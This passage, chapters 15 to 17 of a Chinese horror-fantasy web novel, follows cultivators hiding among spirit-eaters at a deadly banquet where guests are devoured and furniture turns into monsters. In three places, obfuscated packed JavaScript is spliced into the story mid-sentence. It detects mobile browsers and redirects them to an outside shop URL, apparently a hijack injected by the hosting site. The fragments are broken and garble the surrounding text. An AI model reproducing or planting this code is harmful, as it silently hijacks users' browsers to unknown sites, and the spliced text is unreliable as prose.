更别提她脸色苍白,嘴唇无色,听到叶惊弦的问话后,似是想要说话,张口却是接连的咳嗽——好不容易咳完了,将沾在指尖的血递到鼻子前闻了闻,又是一阵猛咳。 瞧着身体就很差的样子。看得夷则静一时都有些恍惚。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14273030|149842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > ……之前他在窗口看到的那个咔咔劈人的……确定是她,没错吧? 还是他看错了?又或者是这妹子其实也像乔大郎一样,也有个长得像的娘亲或是姐妹…… 夷则静思绪不由越飘越远,恰在此时,却听那名初音姑娘咳嗽渐停,似是终于缓了过来。 而后便听她淡淡道:“我当时也不在后院。我在前院的紫藤花树下。” “哦?”叶惊弦微微挑眉,不知是不是还在惦记着打赌失败的事,语气间很有些咄咄逼人,“那你可有人证?” “没有。”初音姑娘声音虚弱,“但我有物证。” 叶惊弦:“什么物证?” “我当时在忙着杀人。”初音姑娘声音依旧虚弱,“有个大胡子要杀我,被我杀了。但你们这边的事来的突然,我还没来得及处理尸首,他人现在就躺在院子西边的紫藤架下,应该还没凉透,你们去摸摸就知道了。” “……” 虚弱,但理直气壮。 夷则静都听傻了。 不是,这事是可以直接说的吗?? 而且,好像哪里不对—— “等等。”他脱口而出,“你说的是池塘边袭击你的那个?我记得他没有胡子啊。” “哦,不是他。”相比起他,初音姑娘却是相当平静,“我说的是另一个。” 另一……啊?还有另一个? 夷则静更傻了。也就是这个姑娘,从他进来到现在,就杀了两个? 这什么效率?? 相比起他,其他人的关注点却好像不太一样—— “初音姑娘,你这‘物证’,怕是做不得数。”短暂的沉默后,终于有一人神情微妙地开口,“世上有千般灵术,既然有可保尸身不腐的,自然也有能保尸体温热的。” “是吗?”初音终于皱了皱眉,“那我不清楚了。我就这一个物证,你们爱要不要。” 这话显然又引起了某些人的不满,然而就在他们开口之前,又一人站了出来。 “抱歉,之前没想起来。但姑娘这么一说,我倒有印象了。” 说话的是个穿红色衣袍的年轻男子,敞着衣襟,没有束发,冲着初音姑娘遥遥举了下手里的酒壶: “这位姑娘,杀人时我正好看到了来着。不过当时没在意,直接走了。” “……” 此言一出,场内又是一阵沉默。 不知过多久,方听有人冷笑出声: “好呀,那现在大家都有人证了?那岂不是谁都不可能杀人了?” “那可不一定。”有人小声回应,“还是有人没到的……” “能找的我全找来了。”耄老冷冷开口,“没被我找到的,要么是藏得好,要么就是已经来不了了。” 这话倒是有可能。毕竟听初音的意思,她自己就已经单枪匹马干掉两个了。 锅里的尸体是正好被人发现了。谁知道在没人发现的地方,有谁已经死了,又是被谁吃的?吃完又增加了多少年的功体? 这么一想,有人顿时紧张了起来。 “还是比对一下牙印吧。找出是谁动手的,大家心里也好有个底。”一道女声缓缓响起,“毕竟有人的啊,一进来就拉帮结派。都是同伙了,说的话还可信吗。” “……”这话听得夷则静的脑子又嗡的一声。 原因很简单。他是没吃人没错,但他也不是食灵者,他牙就跟别人不一样啊。 这要怎么搞?总不能现在就跑—— 还没等他想清楚,却又听一人轻叹口气。 跟着就见那名初音姑娘冷静地说了声借过,从另一侧推开人群,自顾自地走了出去。 走得那么自然,以至于一时在场竟没人意识到她的行为好像有哪里不对。等她都走出去了,才有人如梦初醒般道: “等等,你去哪儿?还在查是谁杀的人——” “我去处理那具尸体,再晚点儿就硬了。”初音姑娘头也不回。 说完,似是想起什么,又停下脚步,回头在他们身上扫了一圈,不着痕迹地皱了皱眉。 “还有。别浪费那个时间比牙齿了。”夷则静听见她道,声音不大,却很笃定,“杀人的不在你们之间。你们也没必要找凶手。” “反正结果……都一样。” 15.第十五章 随着初音的离开,本就弥漫着不安的后厨内,气氛越发微妙。 夷则静做人心虚,更是没有放过这个离场机会,飞快对叶惊弦说了句“她不对劲,我去看看”;说完便忙不迭地跑了。 当然,他也没敢真追着那位初音姑娘不放。故作焦急地跑出几十步,绕过一个拐角,确认身后再没其他人跟着后,便果断换了个方向,独自悄悄地走开了。 他仍是惦记着那个邪修送的香囊,寻了个没人的地方,偷偷拿出来研究了小半天。没研究出个所以然来,便用术法封存了,打算回去后与情报一起上交宗门,也算个功绩。 说来也是险,他前脚才刚处理完这事,后脚便又被叶惊弦找上。故作镇定地聊了两句,这才知道,那场后厨里的验印缉凶,到底还是没能成。 ——初音那话说得太过笃定,让不少人都失去了继续追查真凶的兴致。到最后,在场肯配合进行验印的,实际也就一小撮人。自然,也没能查出个什么结果来。 或许就和初音说得一样,吃人的根本就不在他们中间。那他到底是谁,现在又躲哪儿去了? 夷则静自问没那个脑子和心力去追究答案,索性便趁着叶惊弦在身边,又好好打探了些关于北方邪修组织的消息。为避免对方生疑,还一直装着很想找饺子的模样,时不时就指着路过的某人,与叶惊弦小声讨论一番。 可惜,饺子没找到,不认识的尸首倒是找到两具。一具是在茅房里发现的,被发现时整个人几乎都贴在墙上,除了骨头外,就只剩下一张皮;另一具是在书房后面的暗室内发现的,尸身倒是完好,但叶惊弦说那尸体里的灵力早就被吸干了,论干瘪程度,和茅房里那张人皮其实不相上下。 至于是谁动的手,依然说不清。叶惊弦看似倒很想搞清这件事,但又嫌麻烦,迟疑良久,最后也只和小团体内部的人通了下气,最后也是不了了之。 如此又过两个时辰,庭院内渐渐昏暗。 他们此刻身处结界之中,头顶是一片固定的夜色,按说其实感受不到昼夜的更替。然而设宴的馆主却是个讲究人,知道结界内没有日升月落,索性就用灯笼替代—— 该是“白天”的时候,所有的灯笼便都明晃晃地亮着,而从酉时开始,宅里各处的灯笼便会陆续熄灭,光线也会随之越来越暗。 直到最后,庭院内的灯光彻底被夜色所吞没,仅在主屋和客房处,留下一些聊胜于无的照明。 宛如浓墨般的黑暗,即使是对他们这种食灵者来说都是相当令人不安的。尤其是在“白天”已经陆陆续续有人死了的前提下。 因此,在灯笼次第熄灭后,除了几个不知所踪的与会者外,其余人都陆续回到了主屋里。 但人一多,又不免要吵。不知是谁挑起了话头,一番唇枪舌剑后,以耄老为首的几人怒气冲冲地率先表示要回房间休息;随着他们离开,其他人也渐渐散了。 夷则静也趁机赶紧回了自家屋,锁上门后轻轻摸了下随身的玉佩,小而纤薄的结界无声张开,宛如一块透明的绢布一般,悄悄将他裹了起来。 确认结界布得严丝合缝后,他才又从腰上摘下另一块玉佩,对着掐了个决,又屈指在上面轻轻敲了敲。 玉佩微亮起光。不知过多久,又听里面传出郁清和略显迟疑的声音:“……麻薯?” “麻你个头。”夷则静立刻道,说完本能地往左右看看,又下意识地缩了缩脖子。明知有结界阻隔,说话声传不到外面,却还是心虚地压低了音量,“你怎么回事,上来就叫这名儿。” “……我现在又看不到你,怎么知道你是不是本人?总得先说点什么验证一下。”玉佩里,郁清和的声音忽远忽近,“诶,你这东西到底该放哪儿用?就这么拿在手里吗?” “你要放怀里也成。我这法器很灵敏的,不管多远都能听到声。”夷则静说着,习惯性地将那玉佩靠近耳畔。才刚贴近,便听叮叮当当一阵响,吓得又赶紧拿开,“哇,你那边怎么回事?在打架?” “无事。”郁清和的声音又传出来,背景仍是叮叮当当的金属撞击声,他语气却很镇定,“不用管我,你说你的。你那边情况如何。” “诶。”郁清和说不用担心,夷则静真就没担心,当即三言两语,将自己这一天的见闻说了个干净。郁清和听完,却莫名沉默很久。 玉佩里传来一声利器穿肉的声响,而后便是一声尖利的惨叫。夷则静听得头皮发麻,跟着才听郁清和微妙的话语响起: “你是说,你所在的宅院,昼间很亮堂,大家都有自己的屋子。还能坐在一起好好说话?” “没有好好说话!”夷则静立刻道,“不都说了,那叫暗流涌动!” “而且听你这说法,不知道的还以为我们这儿多安生呢。我跟你说了,我们这边光一个白天就死了——” “死了四个人。还不包括那些失踪的。” 玉佩这头,郁清和冷静地接过他的话头,剑尖一挑,面前的食灵者尸首随即飞了出去,落在地上,发出一声闷响。 类似的尸体,屋子里还有两个。都是方才试图埋伏他不成,被他挥剑反杀的。 浓重的血腥味在屋里蔓延,郁清和嫌弃地皱眉,快步走了出去,略一迟疑,又回过身,两指向上一挥,给面前的屋子加上一道防护结界。 ——和夷则静那儿不同。他这边的“宴会”,从一开始就没什么好好商量的余地。 跨进朱漆大门,抬眼便是深重的黑暗。整栋宅子都笼罩在不自然的夜色里,没有一点光源,也看不到一个人。 他第一个看到的、能被称作“人”的东西是一具尸首。坐在主屋的椅子上,上半身被啃得七零八落,下半身不知所踪。 除此之外,观察不到任何有人在此活动的痕迹。只有在将感知提升到极致时,才会从某些阴暗的角落或缝隙里,捕捉到一丝粗重的呼吸与窸窣的脚步声。 ……这是一个彻头彻尾的狩猎场。 除他之外的每个人都自诩猎人,而刚入场的他,自然而然就被当做了猎物。他不知道黑暗中究竟还藏着多少人,那些所谓的“饺子”又藏在哪里,是否还活着;他只知道从进来到现在,自己陆陆续续已受到过不知多少次袭击,运气好的话,能像刚才那样,直接全部清个干净;而一旦运气不好,叫袭击的食灵者跑掉,后续只会更加麻烦。 给那些尸体布结界,自然也不是出于什么好意。纯粹只是担心在他离开后,又有其他食灵者过来,将这些尸体吃个干净,实力一涨,他反受其害。 暗自叹了口气,郁清和匿了气息,悄悄躲进了另一间无人的客房里,确认四周安全后,这才对着手中玉佩道: “你也不必太过担心,安心保护好自己。 “我跟你来之前,特意在下榻的客栈里藏了一只木鸟。如果我们三日未归,那木鸟内的术法就会自动启动,前往夷梦泽求救。” 他知道夷则静在夷梦泽向来人微言轻、不受重视,但他不一样。他是芳菲谷的四代弟子首座,他开口求助,夷梦泽总不能不当回事。 就是不知道他们会派来多少人。如果能将这里的邪修一网打尽自是最好,如果不能……至少也能先将夷则静救出去。 毕竟夷则静再怎么不顶事,在这儿死皮赖脸活三天的本事,应当还是有的。 “哎呀,你找他们干嘛。” 房间内,夷则静听罢却忍不住嘀咕一句,然而转念一想,现在局面确实和自己预想得太过不同,之后还不知会怎样,又只能默默将不满的话都咽回去,一个人郁闷地在房间内走来走去。 玉佩那头,郁清和大致交代了下自己那边的状况,便匆匆结束了交流。夷则静没好气地将已停止闪光的玉佩收起,转身便往床边走去。 本想着趁着有空先抓紧时间睡一会儿,眼看快要走到床边,脚步忽又一顿。 ……耳朵微微一动。他觉得自己似乎听到了一些声音。 很轻、很爽脆的声音。 嘎吱嘎吱的,似乎带着一些节奏。不知为何,听上去还有些熟悉。 夷则静迷茫地转身,侧头更加努力地用耳朵捕捉,听了半天,声音的来源却始终听不清楚,只能大致判断出它们离自己不远…… 而随着一声响亮的“咕咚”一声,夷则静终于想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14295349|149842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起他在哪里听过这种声音了。 ……这是人咀嚼和吞咽的声音。 意识到这点,夷则静面色瞬间惨白。 而还没等他反应过来,同样的声音又再次响起。不同的是,这次的声音距离似乎更近了些。 咀嚼、咀嚼、吞咽。 片刻的沉默后,又是重复的声响。 等到这声音第三次响起时,夷则静终于坐不住了。悄悄走到门边,蹑手蹑脚地将门推开条缝,悄悄朝外望去。 客房的走廊内,烛灯昏暗。借着昏黄的烛光,他分明看见,有人正推开自己斜对面的那扇房门,头也不回地朝里走去。 房门关上。同样的咀嚼声再次响起来。 夷则静心脏狂跳,忙又缩回了房里,面色愈发苍白如纸。 尽管只有背影,但他确信自己没有看错。 方才推门走进那房间的人,正是初音。 * 转眼,翌日。 充当太阳的灯笼又次第亮起,长长的客房走廊内,气氛却只比之前更加沉重。 原因很简单。又死人了。 一口气死了五个。全是死在自己的屋里。 两个死在床上,一个死在椅子上,剩下一个最离奇,尸体被发现时缩在柜子里,两手死死扒在柜门上,抓挠得柜子内部全是抓痕。 死相却都无一例外,与昨天那位死在锅里的乔二郎很像。 上半身被啃咬得血肉模糊、白骨外露,下半身不知所踪。 ——就连那位在夷梦泽悬赏簿上挂了二十多年的姽婳娘子,也赫然在死者之列。 更糟糕的是,他们依旧不知道是谁下的手。 夷则静来得慢,到场时正见一名女子伸手指向一个黑脸大汉,信誓旦旦: “和他绝对脱不了干系!” “我昨晚回房得晚,回来时正好看到他从姽婳娘的屋里出来,神色惊慌…… “姽婳娘子的赤色披帛,都还挂在这狂徒的腰带上!” “我没有!”那黑脸大汉立刻反唇相讥,“我确实是想杀她,但我没得手,反而被她戏弄……我走的时候她还好好的!” “空口无凭,是或不是,验一下印就知道了。” “且慢,这位仁兄我认识。凭他的实力,要杀旁人或许容易,但要杀姽婳,绝无可能。” “那或许是有同伙……” 更多的议论声随即响起。叶惊弦亦不知何时赶了过来,望着房间里的姽婳尸体,脸色铁青。 出于某种微妙的警觉,夷则静没有说出昨晚自己看到的事情。 他只一言不发地站在原地,匆匆一扫,这才发现,现在还站在这里的,加上自己,一共也就九人。 或者说,只剩下九人。 初音并不在场。 还有昨天在后厨为她说话的红衣男子,也不知所踪。 * 同一时间。 庭院的角落。 钟默弓着身子,正在挥动一把不知从哪儿捡来的铲子,利落地挖着地上的土。 随着沙土簌簌散开,露出一张长满尸斑的人脸。 正是昨天被她弄死,又拖到这儿埋掉的倒霉蛋之一。 她面无表情地继续挥铲,让土里的尸身露出更多。却见那人自下巴以下,皆是一片血肉模糊,像是被人生生咬掉一块肉,连声带和咽喉都被啃去。 微微皱了皱眉,她安静将土又盖了回去。起身用力将堆起的土包踩实,她又转头看向旁边的青色围墙,若有所思地歪了歪头。 盯着看了一会儿,似是察觉到什么,她突然伸手,轻轻在那面围墙上戳了戳。 指尖戳在墙上,戳出一个浅浅的凹陷。随着手指的抬起,又很快恢复如初。 钟默眸光闪动,又将整个手掌盖在墙面上,闭眼认真感应起来。片刻后,手掌挪开,恍然大悟地睁开眼睛。 “哈,还真不愧是盛宴啊。”她小声咕哝一句,将铲子扛到肩上。正要离开,却听身后一道略显耳熟的声音响起: “有意思。 “看来你也发现,这面墙壁很不寻常了。” 16.第十六章 那声音轻佻,还带着些笑。 钟默循声转头,正见一个红衣男子摇晃着酒壶,摇摇晃晃地从后方走来。 她懒得搭理人,自然也没有应声。只抬头望男人的身后张望了一下,确认他孤身一人后,便寻了个地方,放下了肩上的铲子。 男人没在意她的动作,自顾自地上前。一手按在了那面墙壁上,缓缓拂过。 “青墙黛瓦,栩栩如生。却又触手生温、纹理细腻……若我猜得没错,这应当是一面画皮墙。这面墙本身也好,越过它看到的一切也好,都不过是一层伪装。” 他说到这儿,往上看了看。墙壁很高,从他的视角自然不可能看到墙壁对面的状况,能看到的除了摇曳的树影,就只有茫茫夜色而已。 “但转念一想,又很奇怪。这宅子本身就布有结界,时间未到,我们谁都不能从这儿离开。既然如此,那特意设这一层伪装的意义何在?难不成……这墙的另一侧,有什么是不想让我们看到的?” 红衣男子转头向钟默:“姑娘,你就不好奇吗?” 钟默果断摇头:“不。” 红衣男人:“……” “但我好奇你。”钟默语气坦然,“你昨天看到我杀人了,却还敢过来。要么是你想杀我,要么是你想找死。” “还有一种可能,就是你有话要和我说。” 她将地上土堆踢平了些,毫不在乎地席地坐下:“我猜是第三种,所以你可以开始说了。但我耐心不多,你最好抓紧。” “姑娘伶俐。”红衣男人爽朗一笑,学着她的样子,也就地坐下来,“简单来说,我是想和姑娘做一个交易。” “好的,不感兴趣。”钟默眨了眨眼,当即便要起身,红衣男子见状一顿,连忙开口: “等等,你就不好奇是什么交易……” “交易都是靠不住的。何况是跟人。”钟默淡漠眨眼,手掌一翻,不过转瞬,手中已经多了把血渍斑斑的柴刀。 红衣男子怎么也没想到她翻脸居然翻得这么快,不由怔楞了一瞬。张口刚要说些什么,忽觉臂上一凉,一低头,才发现不过一愣神的工夫,自己手臂上竟已被割出一道口子—— 血液以惊人的速度向外渗出,迅速浸透衣衫。他下意识伸手捂住,又听不远处一声叹息。 “真烦。你也不是。” 钟默望着指尖沾到的血迹,不太高兴地抱怨了句,随手在旁边树上擦了擦手指。再次抬眼看过来时,眼神已然更冷。 红衣男人心中警铃大作,也顾不得什么风度了,逃命似地张口便来: “我知道你是混进宴会的修灵者,是想来救这里的饺子的,我可以帮你把他们找出来,唯一的要求就是你不能插手寻找秘宝一事,以及留我一条性命!修者,还请三思!!” “……” 话音未落,刀锋已逼至项前。 距离皮肤不过丝毫距离,却又险险停下。 红衣男人喉结微动,缓缓抬眼,正对上钟默困惑的眼神。 她张了张口,表情竟似有些迷茫:“你……为什么会……” 觉得她是修灵者?? 红衣男人察言观色,却只当是自己猜对了,如释重负地闭了闭眼,又小心伸出指尖,将抵在喉间的柴刀稍稍推开一些。 “我猜的。”他轻声道,“你……昨天一共杀了四人,我都查到了。” “其中,两人是想来杀你,却被你结果。另外两人却是你主动出手。而且你和其他人不一样,杀完人以后,不会把他‘吃’掉。” 不仅如此,他还注意到一件很怪的事。 那就是钟默在反杀他人时,总会先在非要害处割一道口子,沾血闻过之后再行凶。但她主动出手的两人,却是半点迟疑没有,都是手起刀落直接收掉的。 这又是为何? 他本百思不得其解,直到昨晚在主屋停留时,听到叶惊弦和同伴说起在其他地方发现的尸首及死状,这才恍然大悟。 “食灵之术,只是一个大类,大类之下,又有诸多派别。再加上各人的本家功法、食材偏好不同,施术的手段自然也各有千秋。” 红衣男人低声道:“刚巧,你杀的那两人我都打过交道。他们的手段我也大致了解。所以我一听就明白了,叶惊弦发现的死者,正是被那两人分别吃掉的。 “所以,我才有了个大胆的猜测。” 他抬眼看向钟默: “你之所以主动杀他们,是因为他们动手的时候,你感受到动静了,对吗? “你听到了他们吃人的动静,或者说,是感受到了他们吃人时散发出的灵力。所以你确定,这两人绝对不是饺子,你可以随便杀。” 钟默:“……” “这部分倒是没猜错。”她平静说着,收起柴刀坐回了土堆上,“但我还是不懂,你为什么会……” “为何没有揭穿你,而是冒险来找你交易。”红衣男人沉声道,“原因很简单。” “昨天晚上,我看到你了。” “……?” 其实想问的不是这个。但这话一出,钟默是真有点惊讶了。 “有意思。你没睡?” 红衣男人勉强一笑:“说来惭愧,在下胆小,素来喜欢杞人忧天。又刚巧我们之中有一个姽婳娘子,最擅使毒,能杀人于无形。所以我一直佩戴着防护的法器,昨晚回屋后也未曾摘下。” 也不知是不是这防护法器生效。还真让他逃过了一劫——约莫亥时,他梦中乍醒,忽然听到奇怪又响亮的咀嚼声响。警觉走出房间,却找不到声音来处,只能敲了敲对面的房门,试图找人询问。 探了一圈却发现,自己对面的几间屋里,所有人都正睡着,根本叫不醒。 在大家都睡着的时候,暴露自己清醒,明显是件不明智的事。于是他果断决定先回自己房间。而就在准备离开时,他看到了钟默的身影。 面无表情地从一间屋里出来,跟着便进了下一间。 而很巧,住在这两间屋的人,今天全死了。 “当然,我不认为是你杀了他们。”红衣男终于将手掌从伤口处移开,那里已然只剩一道浅痕。 “这么大张旗鼓,不像是你的风格。 “所以,若我猜得没错,你是去确认的,对吗?” 他身体微微后仰,举起酒壶壮胆般地飞快灌下一口,重重吐出口气: “你感知到了他们被吃的动静,所以赶在他们死之前,跑去确认他们是不是饺子。但因他们谁都不是,所以你谁都没救……” “所以?”钟默侧头,依旧迷茫,“这难道是什么只有修灵者才能做出来的事吗?” “自然不是。”红衣男子被她这没头没脑的问题搞得一懵,下意识道,“但这至少可以证明一件事……” 握着酒壶的手指突然收紧,他深深看了眼钟默。 “它能证明,你知道昨晚吃了他们的是什么。而且你知道该怎么应付它们。” 而这,才是促使他来找钟默的根本原因。 修灵者的存在固然令人又馋又怕,但好歹能讲道理。比起不知藏在何处的猎杀者,反倒要显得可靠一些。 眼见钟默的脸上又浮上淡淡的不耐,他忙又开口:“我理解修者救人心切,也对修者的能力深感敬佩。但恕我直言,像你这样被动的排查,实在太慢——现在已经死了那么多人,那些饺子被发现的几率只会越来越高。修者你这再这样被动下去,只怕会功亏一篑。 “但我能帮你。还活着的那帮人里,有不少我曾见过。我可以帮你指认他们,缩小寻找范围。剩下的人,我也可以以身做饵,帮你试探……” 他说到这儿,语速明显慢了下来。注意到钟默若有所思的眼神,便知她终于听进了自己的话,再次暗松口气。 “至于在下,要的很少。只希望修者能答应两件事。”他慢慢道。 “第一,请修者告诉我,那个杀死乔二郎和昨晚那些人的,究竟是什么,该如何防范。 “第二,留我一命。” 他深吸口气:“除此之外,别无他求。” “……” 钟默审视地看他一眼,将手中柴刀高高抛起,又利落接住。 “就这两件?”她确认道,显然已懒得去管自己到底是如何变成修灵者的,“你刚才不是还说,希望我别插手秘宝什么的……” “方才只是一时嘴快。”红衣男人立刻道,说完眼神又飘忽一下,“当然,如果修者愿意配合,在下自是感激不尽。” 嗯…… 钟默盯着他看了一会儿,直到将男子看得后背再次渗出冷汗,方慢吞吞地站了起来。 “行。”当着男人的面,她直接将柴刀又塞回了袖子里,“我可以答应你。” “直到这场宴会结束,我都不会杀你。你想知道的,我也可以告诉你。” “!”红衣男子眼睛登时一亮,宛如劫后余生。 “多谢修者宽宏!”他立刻道,“那修者可是现在就要随我同去?” “不了。我还有事。晚点来找你。”钟默漫不经心地说着,转身便往外走,走到一半,忽又转过头来。 “对了,你说要找馆主留下的秘宝,那玩意儿长什么样?” 红衣男子正在擦汗,闻言无奈一笑。 “这个在下并不清楚,但想来绝非凡品。” “也就是没见过。”钟默嘀嘀咕咕地将头又转回去,“那还信誓旦旦要找。” “没办法啊。谁让在下执念成狂、夙夜难寐呢。”红衣男子摇了摇头,仰头又灌下一口酒。 “说来修者可能不信,我对这世间一切,其实早已看淡。只是尚有一愿,魂牵梦萦,让我夜夜不得安眠。 “偏偏这愿望又实在异想天开,光靠我自己,只怕穷尽一生都无法实现。刚巧听说了这宴会的事,又得知举办这宴会的馆主,神秘莫测,手段非凡,凡找到秘宝且能活过三日者,皆可向他许一愿望,他无所不应。这才想来碰碰运气。” “哦——”钟默似懂非懂地点点头,不再搭理,抬脚便走。 走出两步,想起自己铲子没拿,又折返回去。拿起铲子的瞬间,正听见红衣男人嘴里喃喃地念: “兽妖物鬼草木精,天地钟怜造化灵——唉,为了个造化灵,我这也算拼了老命了。” “……”钟默动作一顿,缓缓转头。 红衣男人还在仰头灌酒,注意到她视线,不觉又一激灵,缓缓放下酒壶。 “姑……修者,可是还有什么事?” “没事。”钟默将那铲子又扛回肩上,只若有所思地打量他。 “你刚才,说要为什么拼命?” “这……”红衣男人愣了下,这才意识到是自己方才无意识的呢喃被她听了去,坦然一哂,“修者见笑,我喝多了乱说话呢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“没……不过我有个怀疑对象。”想起昨晚所见,夷则静神情一肃,“还记得我跟你说过的,那个叫初音的人吗?她可太奇怪了——” “是池边杀人的那个?”郁清和倒是不以为意,“按你说法,是他人袭击她在先。她反击自保,有何奇怪。” “不是说这事。我跟你说,她就是个杀胚,光是昨天就杀了两个人,这还只是我知道的。而且昨晚我……” 话未说完,忽听簌簌声响。 夷则静一个激灵,慌忙将玉佩收好。仓皇抬头,却正见树林间,一道身影缓缓走过。 正是他刚才所说的初音姑娘。 姑娘手里还拖着一人。红色衣服,面容朝下。长长的头发拖在地上,与叶片摩擦出轻微的声响。 人脖颈处一道深深的伤口,一路走一路流血,显然已是不活了。 夷则静:“……” 完全不敢出声。甚至不敢动作。只默默地将身上的结界又加固一层,死死握着随身的法器,老实站在原地。 直到钟默走远了,方劫后余生般闭了闭眼。 而后头也不敢回,提气纵跃,几下就窜回了主屋,一路躲回自己房间里,这才如释重负,将联络用的玉佩又贴到耳边: “好了,我这儿没事了。 “对我刚说到哪儿来着……” 郁清和那边不知什么情况,只草草应着,没有说话。夷则静只当他又在打架,自顾自说完昨晚见到的种种,想了想,又补充道: “而且我跟你说,我怀疑她脑子也不太好使。 “看着病恹恹的一个人,说话却总是很不客气。而且我刚来的时候你道她在干什么?她蹲在池塘边,拿着把柴刀在劈椅子——” “等等。” 原本近乎静默的郁清和忽然开口,语气竟似十分惊讶:“你说,她在劈椅子?” “对啊!”夷则静应了声,没好气地往下一坐,一手搭在椅子的扶手上,“多怪啊。” “……”郁清和那边却没再说话。 他只掐着手决,借着术法的荧光,再次看向面前的房间。 正是昨天夷则静第一次联系他时,他所在的房间;因着布了结界的缘故,房间内的一切也几乎没有改变,甚至被他杀死的那三个食灵者尸体都还依样倒在原处。 唯一不同的是,那三具尸体,此刻都已少了下半身,仅剩的上半身,还被啃得坑坑洼洼。 结界完好如初,郁清和确信自从他离开后,这里绝没外人进来过。 既然如此,那这三具尸体,又是被谁啃噬的? 联想起夷则静方才说的种种,一个糟糕的猜测,忽然涌上心口。 “夷则!赶紧躲起来!往高处去!”他立刻对着玉佩道,“不要碰宅子里任何的坐具寝具,也不要沾地——” “啊?”夷则静听得一愣,下意识想要起身,却莫名一阵头晕,又一下坐了回去。 “你说什么?你声音怎么那么小,我这边都听不到……” 玉佩里传出古怪的丝丝声。这是以前从未有过的。 夷则静困惑地将玉佩拿到跟前细看,用灵力疏通了一下,又贴到耳边。 “奇怪,怎么还是听不清,刚到底说什么啊……” 他不解地咕哝着,没有注意到身下的椅子正在悄无声息地延展、变形。 直到两边扶手忽然收紧,仿佛闭合的上下颚般,猛地挤压住他的身体。 几乎是同一时间,一只长着牙齿的手从背后伸来,在他愕然的目光中,轻轻搭上他的肩膀。 “他说,让你别碰椅子。” 17.第十七章 耳畔的嗓音,很轻,很柔,吐气如兰。 那声音传到夷则静的耳朵里,却只炸得他头皮发麻。 几乎是同一时间,却见他头顶玉冠光芒一闪,身后人尖叫一声,被重重弹开,夷则静趁机往前一窜,只听嗤拉一声,衣服都被合拢的椅子扶手撕开一块! 布料的撕裂处是锯齿状的齿痕,夷则静难以置信地回头,这才发现,那椅子的扶手上竟不知何时也长满了牙齿——每侧扶手都长着整整两排,齿尖锋锐,几如尖刺。 ……得亏他之前为了和郁清和说话,特意在身上布了层结界。不然这会儿撕开的,怕不止是衣服了。 顾不得庆幸,夷则静视线迅速上移。那椅子的“全貌”终于映入眼帘,换来他一个惊恐的眼神。 他……他甚至不知该如何称呼那东西。 两侧的扶手长出牙齿、四条椅子腿成了没有皮肤的羊蹄,更骇人的是,原本木制的椅背比之前高出整整一尺,表面已然覆盖上一层薄薄的血肉,从他的视角,还能看到肉块细致的肌理,中间的横档,则化为了一根森森的白骨,直挺挺地嵌在血肉之间。 ——他之前难道就一直坐在这玩意儿上?! 这个念头不由自主地涌上脑海,然而夷则静已无暇顾及这些—— 只听一声呻|吟,被他头顶法器弹倒在地的“椅子人”四脚挥动,竟又迅速地爬了起来。 长在椅背上的人头犹自恍惚地摇晃两下,缓缓眨了眨眼,视线又慢慢落在了夷则静的身上。 ……糟糕。 夷则静暗道一声不妙,默默捏紧了腰间的玉佩。 正待捏决施法,却感脚下忽然一空。地面竟不知何时裂开一道缝隙,长长的舌头从缝隙中探出,直直便朝他腰上卷来! 夷则静反应不及,腰上已被裹住。被拉扯着向缝隙里坠去,便如要被地面吞噬一般——偏偏就在此时,那“椅子人”终于彻底清醒过来,怒骂一声,竟也哒哒哒地朝他冲来! 两边居然还争上了! 夷则静一声脏话,差点脱口而出。 不及细想,他只得匆忙施了招舞空术,尽可能将身体从地面中拔出。生怕地面突然合拢切他脚腕,又赶紧运使灵力,将覆盖在周身的结界匆匆缩小,护住双足;但面对冲上来的“椅子人”他却是真的无可奈何了—— 他头顶的玉冠是护身法器没错,但这法器是需要充能的。方才那一弹,已然将玉冠里的力量全部用尽,要再用出第二次,是万万不可能的。 而他自己,这会儿还在忙着与地上的缝隙角力,稍用松懈便会被彻底吞下,在这种情形下,要他一心二用再捏一个术法,也实在强人所难…… 完了。 望着已经冲到面前的“椅子人”,夷则静脑海中一时竟只浮上这两个字。 ——电光石火间,却只听一道破空声响。 似有什么东西从眼前掠过,而后便是“铮”的一声。 眼前的位置忽然空了。什么都没了。 夷则静茫然眨眼,直到听见一旁传来痛楚的呻|吟声,方后知后觉地转头。 这才发现那“椅子人”竟已被钉到了墙上。 钉它的是一柄柴刀,深深贯入那邪物的体内,刀身没入大半。 夷则静都看傻了。 那正试图吞他的地面似乎也傻了,缠在他腰上的舌头都微微一松。 这下夷则静倒是反应过来了,赶紧又掏出块玉佩,用力一捏,那舌头上即刻燃起一层青火,哀嚎着又缩回了地面。 地面的缝隙重重合拢,差点夹断他的脚腕。好在夷则静舞空术学得不错,千钧一发之际,整个人都跃了出来。 才刚落地,又听身后“咔哒”一响,愕然回头,正见锁死的窗户被人用力拉开。 一个穿着粗布灰袍的身影从外面跳上窗檐,看了眼被钉在墙上“椅子人”,又看了看除衣服外完好无损的夷则静,毫不掩饰地“啧”了一声。 苍白肤色、瘦弱身材、腕上一枚布满裂痕的素镯—— 不是别人,正是初音。 不久前见到的种种又浮上脑海,他用力咽了口唾沫,默不作声地朝着门口挪去。 